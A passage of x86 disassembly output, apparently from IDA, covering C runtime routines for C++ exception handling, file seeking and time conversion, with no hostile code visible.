test eax, eax
jnz short loc_421EE6
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_421EB8
loc_421ED7: ; CODE XREF: sub_421DB1+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_421EA6
jmp short loc_421F0A
; ---------------------------------------------------------------------------
loc_421EE6: ; CODE XREF: sub_421DB1+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_422111
; ---------------------------------------------------------------------------
add esp, 2Ch
loc_421F0A: ; CODE XREF: sub_421DB1+F3j
; sub_421DB1+133j
mov edi, [ebp+var_10]
loc_421F0D: ; CODE XREF: sub_421DB1+DEj
; sub_421DB1+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_421E81
; ---------------------------------------------------------------------------
loc_421F18: ; CODE XREF: sub_421DB1+D6j
cmp [ebp+arg_14], 0
jz short loc_421F28
push 1
push esi
call sub_422486
pop ecx
pop ecx
loc_421F28: ; CODE XREF: sub_421DB1+56j
; sub_421DB1+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_421F2D: ; CODE XREF: sub_421DB1+37j
; sub_421DB1+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_421F53
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_421F58
add esp, 20h
jmp short loc_421F28
; ---------------------------------------------------------------------------
loc_421F53: ; CODE XREF: sub_421DB1+180j
jmp sub_42255C
sub_421DB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421F58 proc near ; CODE XREF: sub_421DB1+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword_4DBA04, 0
push esi
push edi
jz short loc_421F89
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41C9CE
add esp, 1Ch
test eax, eax
jnz short loc_421FFC
loc_421F89: ; CODE XREF: sub_421F58+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41CAF7
add esp, 14h
mov esi, eax
loc_421FA5: ; CODE XREF: sub_421F58+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_421FFC
cmp edi, [esi]
jl short loc_421FF4
cmp edi, [esi+4]
jg short loc_421FF4
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_421FCE
cmp byte ptr [ecx+8], 0
jnz short loc_421FF4
loc_421FCE: ; CODE XREF: sub_421F58+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_422111
; ---------------------------------------------------------------------------
add esp, 2Ch
loc_421FF4: ; CODE XREF: sub_421F58+57j
; sub_421F58+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_421FA5
; ---------------------------------------------------------------------------
loc_421FFC: ; CODE XREF: sub_421F58+2Fj
; sub_421F58+53j
pop edi
pop esi
leave
retn
sub_421F58 endp
; =============== S U B R O U T I N E =======================================
sub_422000 proc near ; CODE XREF: sub_421DB1+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_422057
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_422057
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_422031
add ecx, 8
push ecx
push edx
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_422053
loc_422031: ; CODE XREF: sub_422000+1Fj
test byte ptr [esi], 2
jz short loc_42203B
test byte ptr [edi], 8
jz short loc_422053
loc_42203B: ; CODE XREF: sub_422000+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_42204A
test byte ptr [edi], 1
jz short loc_422053
loc_42204A: ; CODE XREF: sub_422000+43j
test al, 2
jz short loc_422057
test byte ptr [edi], 2
jnz short loc_422057
loc_422053: ; CODE XREF: sub_422000+2Fj
; sub_422000+39j ...
xor eax, eax
jmp short loc_42205A
; ---------------------------------------------------------------------------
loc_422057: ; CODE XREF: sub_422000+Bj
; sub_422000+14j ...
push 1
pop eax
loc_42205A: ; CODE XREF: sub_422000+55j
pop edi
pop esi
retn
sub_422000 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42205D proc near ; CODE XREF: sub_421D16+34p
; ___:00422153p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278C0
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_42208F: ; CODE XREF: sub_42205D+8Aj
cmp esi, [ebp+arg_C]
jz short loc_4220E9
cmp esi, 0FFFFFFFFh
jle short loc_42209E
cmp esi, [edi+4]
jl short loc_4220A3
loc_42209E: ; CODE XREF: sub_42205D+3Aj
call sub_4225B2
loc_4220A3: ; CODE XREF: sub_42205D+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_4220BE
push 103h
push ebx
push eax
call sub_422510
loc_4220BE: ; CODE XREF: sub_42205D+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4220DE
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_4220FB
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_4220DE: ; CODE XREF: sub_42205D+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_42208F
; ---------------------------------------------------------------------------
loc_4220E9: ; CODE XREF: sub_42205D+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_42205D endp
; =============== S U B R O U T I N E =======================================
sub_4220FB proc near ; CODE XREF: sub_42205D+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_42210C
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42210C: ; CODE XREF: sub_4220FB+Cj
jmp sub_42255C
sub_4220FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_422111 proc near ; CODE XREF: sub_421DB1+151p
; sub_421F58+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_422133
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_4222C2
add esp, 10h
loc_422133: ; CODE XREF: sub_422111+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_42213F
push edi
jmp short loc_422142
; ---------------------------------------------------------------------------
loc_42213F: ; CODE XREF: sub_422111+29j
push [ebp+arg_24]
loc_422142: ; CODE XREF: sub_422111+2Cj
call sub_41C8D0
sub_422111 endp
; ---------------------------------------------------------------------------
mov esi, [ebp+24h]
push dword ptr [esi]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push edi
call sub_42205D
mov eax, [esi+4]
push 100h
push dword ptr [ebp+28h]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+10h]
push edi
push dword ptr [ebp+8]
call sub_42218C
add esp, 2Ch
test eax, eax
jz short loc_422187
push edi
push eax
call sub_41C88E
loc_422187: ; CODE XREF: ___:0042217Ej
pop edi
pop esi
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42218C proc near ; CODE XREF: ___:00422174p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278D0
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, dword_4DB9FC
mov [ebp+var_1C], ecx
mov ecx, dword_4DBA00
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov dword_4DB9FC, edi
mov ecx, [ebp+arg_8]
mov dword_4DBA00, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_41C955
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_422252
mov eax, [ebp+var_2C]
loc_422219: ; CODE XREF: sub_422232+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_42218C endp
; =============== S U B R O U T I N E =======================================
sub_422228 proc near ; DATA XREF: ___:004278E0o
push dword ptr [ebp-14h]
call sub_422298
pop ecx
retn
sub_422228 endp
; =============== S U B R O U T I N E =======================================
sub_422232 proc near ; DATA XREF: ___:004278E4o
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_41CBB6
pop ecx
pop ecx
xor eax, eax
jmp short loc_422219
sub_422232 endp
; ---------------------------------------------------------------------------
loc_42224A: ; DATA XREF: ___:004278D8o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_422252 proc near ; CODE XREF: sub_42218C+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov dword_4DB9FC, eax
mov eax, [ebp-20h]
mov dword_4DBA00, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_422297
cmp dword ptr [edi+10h], 3
jnz short locret_422297
cmp dword ptr [edi+14h], 19930520h
jnz short locret_422297
cmp [ebp-24h], ebx
jnz short locret_422297
cmp [ebp-2Ch], ebx
jz short locret_422297
call sub_41CC1E
push eax
push edi
call sub_422486
pop ecx
pop ecx
locret_422297: ; CODE XREF: sub_422252+1Cj
; sub_422252+22j ...
retn
sub_422252 endp
; =============== S U B R O U T I N E =======================================
sub_422298 proc near ; CODE XREF: sub_422228+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_4222BF
cmp dword ptr [eax+10h], 3
jnz short loc_4222BF
cmp dword ptr [eax+14h], 19930520h
jnz short loc_4222BF
cmp dword ptr [eax+1Ch], 0
jnz short loc_4222BF
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4222BF: ; CODE XREF: sub_422298+Cj
; sub_422298+12j ...
xor eax, eax
retn
sub_422298 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4222C2 proc near ; CODE XREF: sub_422111+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278E8
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_42246B
cmp byte ptr [eax+8], 0
jz loc_42246B
mov eax, [ecx+8]
test eax, eax
jz loc_42246B
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_42235F
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_424770
pop ecx
pop ecx
test eax, eax
jz loc_422462
push 1
push edi
call sub_42478C
pop ecx
pop ecx
test eax, eax
jz loc_422462
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_422350: ; CODE XREF: sub_4222C2+F5j
push eax
call sub_4224ED
pop ecx
pop ecx
mov [edi], eax
jmp loc_422467
; ---------------------------------------------------------------------------
loc_42235F: ; CODE XREF: sub_4222C2+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_4223B9
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_424770
pop ecx
pop ecx
test eax, eax
jz loc_422462
push 1
push edi
call sub_42478C
pop ecx
pop ecx
test eax, eax
jz loc_422462
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_41CC90
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_422467
mov eax, [edi]
test eax, eax
jz loc_422467
add esi, 8
push esi
jmp short loc_422350
; ---------------------------------------------------------------------------
loc_4223B9: ; CODE XREF: sub_4222C2+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_422401
call sub_424770
pop ecx
pop ecx
test eax, eax
jz loc_422462
push 1
push edi
call sub_42478C
pop ecx
pop ecx
test eax, eax
jz short loc_422462
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_4224ED
pop ecx
pop ecx
push eax
push edi
call sub_41CC90
add esp, 0Ch
jmp short loc_422467
; ---------------------------------------------------------------------------
loc_422401: ; CODE XREF: sub_4222C2+103j
call sub_424770
pop ecx
pop ecx
test eax, eax
jz short loc_422462
push 1
push edi
call sub_42478C
pop ecx
pop ecx
test eax, eax
jz short loc_422462
push dword ptr [esi+18h]
call sub_4247A8
pop ecx
test eax, eax
jz short loc_422462
test byte ptr [esi], 4
jz short loc_422448
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_4224ED
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41C8C9
jmp short loc_422467
; ---------------------------------------------------------------------------
loc_422448: ; CODE XREF: sub_4222C2+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_4224ED
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41C8C2
jmp short loc_422467
; ---------------------------------------------------------------------------
loc_422462: ; CODE XREF: sub_4222C2+6Aj
; sub_4222C2+7Cj ...
call sub_4225B2
loc_422467: ; CODE XREF: sub_4222C2+98j
; sub_4222C2+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_42246B: ; CODE XREF: sub_4222C2+2Ej
; sub_4222C2+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4222C2 endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_42255C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422486 proc near ; CODE XREF: sub_421DB1+170p
; sub_422252+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278F8
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_4224CD
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_4224CD
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_41C8C2
or [ebp+var_4], 0FFFFFFFFh
loc_4224CD: ; CODE XREF: sub_422486+2Aj
; sub_422486+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422486 endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_42255C
; =============== S U B R O U T I N E =======================================
sub_4224ED proc near ; CODE XREF: sub_4222C2+8Fp
; sub_4222C2+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_42250E
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_42250E: ; CODE XREF: sub_4224ED+12j
pop esi
retn
sub_4224ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422510 proc near ; CODE XREF: sub_41C955+40p
; sub_42205D+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_41CC41
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_42254F
mov ecx, 2
loc_42254F: ; CODE XREF: sub_422510+38j
push ecx
call sub_41CC41
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_422510 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42255C proc near ; CODE XREF: sub_421DB1:loc_421F53j
; sub_4220FB:loc_42210Cj ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427908
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, dword_4DBA08
test eax, eax
jz short loc_4225A4
mov [ebp+var_4], 1
call eax
jmp short loc_4225A0
; ---------------------------------------------------------------------------
loc_422599: ; DATA XREF: ___:00427918o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_42259D: ; DATA XREF: ___:0042791Co
mov esp, [ebp+var_18]
loc_4225A0: ; CODE XREF: sub_42255C+3Bj
and [ebp+var_4], 0
loc_4225A4: ; CODE XREF: sub_42255C+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_4225AD: ; DATA XREF: ___:00427910o
jmp loc_4247C0
sub_42255C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4225B2 proc near ; CODE XREF: sub_41CAF7+23p
; sub_41CAF7:loc_41CB62p ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427920
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_43CFA4
test eax, eax
jz short loc_4225FA
mov [ebp+var_4], 1
call eax ; sub_42255C
jmp short loc_4225F6
; ---------------------------------------------------------------------------
loc_4225EF: ; DATA XREF: ___:00427930o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4225F3: ; DATA XREF: ___:00427934o
mov esp, [ebp+var_18]
loc_4225F6: ; CODE XREF: sub_4225B2+3Bj
and [ebp+var_4], 0
loc_4225FA: ; CODE XREF: sub_4225B2+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422603: ; DATA XREF: ___:00427928o
jmp sub_42255C
sub_4225B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422608 proc near ; CODE XREF: sub_41CFD3+7p
; sub_41CFD3+26p
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4DCFE8
push esi
cmp eax, 3
jnz short loc_422631
mov esi, [ebp+arg_0]
push esi
call sub_41DE77
test eax, eax
pop ecx
jz short loc_42262E
mov eax, [esi-4]
sub eax, 9
jmp short loc_422666
; ---------------------------------------------------------------------------
loc_42262E: ; CODE XREF: sub_422608+1Cj
push esi
jmp short loc_422658
; ---------------------------------------------------------------------------
loc_422631: ; CODE XREF: sub_422608+Ej
cmp eax, 2
jnz short loc_422655
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
call sub_41EBD2
add esp, 0Ch
test eax, eax
jz short loc_422655
movzx eax, byte ptr [eax]
shl eax, 4
jmp short loc_422666
; ---------------------------------------------------------------------------
loc_422655: ; CODE XREF: sub_422608+2Cj
; sub_422608+43j
push [ebp+arg_0]
loc_422658: ; CODE XREF: sub_422608+27j
push 0
push dword_4DCFE4
nop
call near ptr 2660000h
loc_422666: ; CODE XREF: sub_422608+24j
; sub_422608+4Bj
pop esi
leave
retn
sub_422608 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422669 proc near ; CODE XREF: sub_41D081+C9p
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_0]
sub ebx, 76Ch
cmp ebx, 46h
jl loc_422725
cmp ebx, 8Ah
jg loc_422725
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, dword_43D46C[edi*4]
add esi, [ebp+arg_8]
test bl, 3
jnz short loc_4226A8
cmp edi, 2
jle short loc_4226A8
inc esi
loc_4226A8: ; CODE XREF: sub_422669+37j
; sub_422669+3Cj
call sub_4247D7
mov eax, ebx
lea ecx, [ebx-1]
imul eax, 16Dh
sar ecx, 2
mov edx, esi
mov [ebp+var_8], esi
add edx, ecx
mov [ebp+var_10], ebx
add eax, edx
mov edx, [ebp+arg_14]
lea ecx, [eax+eax*2]
mov eax, [ebp+arg_C]
mov [ebp+var_1C], eax
lea ecx, [eax+ecx*8]
imul ecx, 3Ch
add ecx, [ebp+arg_10]
imul ecx, 3Ch
add ecx, dword_43D388
dec edi
cmp [ebp+arg_18], 1
mov [ebp+var_14], edi
pop edi
pop esi
lea ecx, [ecx+edx+7C558180h]
mov [ebp+arg_0], ecx
jz short loc_42271B
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_422721
cmp dword_43D38C, 0
jz short loc_422721
lea eax, [ebp+var_24]
push eax
call sub_424A4A
pop ecx
mov ecx, [ebp+arg_0]
test eax, eax
jz short loc_422721
loc_42271B: ; CODE XREF: sub_422669+90j
add ecx, dword_43D390
loc_422721: ; CODE XREF: sub_422669+96j
; sub_422669+9Fj ...
mov eax, ecx
jmp short loc_422728
; ---------------------------------------------------------------------------
loc_422725: ; CODE XREF: sub_422669+13j
; sub_422669+1Fj
or eax, 0FFFFFFFFh
loc_422728: ; CODE XREF: sub_422669+BAj
pop ebx
leave
retn
sub_422669 endp
; =============== S U B R O U T I N E =======================================
sub_42272B proc near ; CODE XREF: ___:0041D253p
; sub_41F11C+1A2p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_4DCDA0
push esi
push edi
jnb short loc_4227AD
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DCCA0h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_4227AD
push eax
call sub_4238A2
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_42276F
mov dword_4DB958, 9
jmp short loc_4227BE
; ---------------------------------------------------------------------------
loc_42276F: ; CODE XREF: sub_42272B+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
call near ptr 2760000h
nop
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_42278F
call near ptr 2680ABEh
nop
jmp short loc_422791
; ---------------------------------------------------------------------------
loc_42278F: ; CODE XREF: sub_42272B+5Aj
xor eax, eax
loc_422791: ; CODE XREF: sub_42272B+62j
test eax, eax
jz short loc_42279E
push eax
call sub_4203DF
pop ecx
jmp short loc_4227BE
; ---------------------------------------------------------------------------
loc_42279E: ; CODE XREF: sub_42272B+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_4227C1
; ---------------------------------------------------------------------------
loc_4227AD: ; CODE XREF: sub_42272B+Dj
; sub_42272B+2Aj
and dword_4DB95C, 0
mov dword_4DB958, 9
loc_4227BE: ; CODE XREF: sub_42272B+42j
; sub_42272B+71j
or eax, 0FFFFFFFFh
loc_4227C1: ; CODE XREF: sub_42272B+80j
pop edi
pop esi
pop ebx
retn
sub_42272B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4227C5 proc near ; CODE XREF: ___:0041D216p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_4227E1
mov [edi+4], ebx
loc_4227E1: ; CODE XREF: sub_4227C5+17j
push 1
push ebx
push esi
call sub_42272B
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_42284F
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_422806
sub eax, [edi+4]
jmp loc_422918
; ---------------------------------------------------------------------------
loc_422806: ; CODE XREF: sub_4227C5+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_422840
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_4DCCA0[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_422857
mov edx, ecx
loc_422831: ; CODE XREF: sub_4227C5+79j
cmp edx, eax
jnb short loc_422857
cmp byte ptr [edx], 0Ah
jnz short loc_42283D
inc [ebp+var_8]
loc_42283D: ; CODE XREF: sub_4227C5+73j
inc edx
jmp short loc_422831
; ---------------------------------------------------------------------------
loc_422840: ; CODE XREF: sub_4227C5+50j
test dl, 80h
jnz short loc_422857
mov dword_4DB958, 16h
loc_42284F: ; CODE XREF: sub_4227C5+2Dj
or eax, 0FFFFFFFFh
jmp loc_422918
; ---------------------------------------------------------------------------
loc_422857: ; CODE XREF: sub_4227C5+68j
; sub_4227C5+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_422865
mov eax, [ebp+var_8]
jmp loc_422918
; ---------------------------------------------------------------------------
loc_422865: ; CODE XREF: sub_4227C5+96j
test byte ptr [edi+0Ch], 1
jz loc_422910
mov edx, [edi+4]
test edx, edx
jnz short loc_42287E
and [ebp+var_8], edx
jmp loc_422910
; ---------------------------------------------------------------------------
loc_42287E: ; CODE XREF: sub_4227C5+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DCCA0h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_42290A
push 2
push 0
push [ebp+var_C]
call sub_42272B
add esp, 0Ch
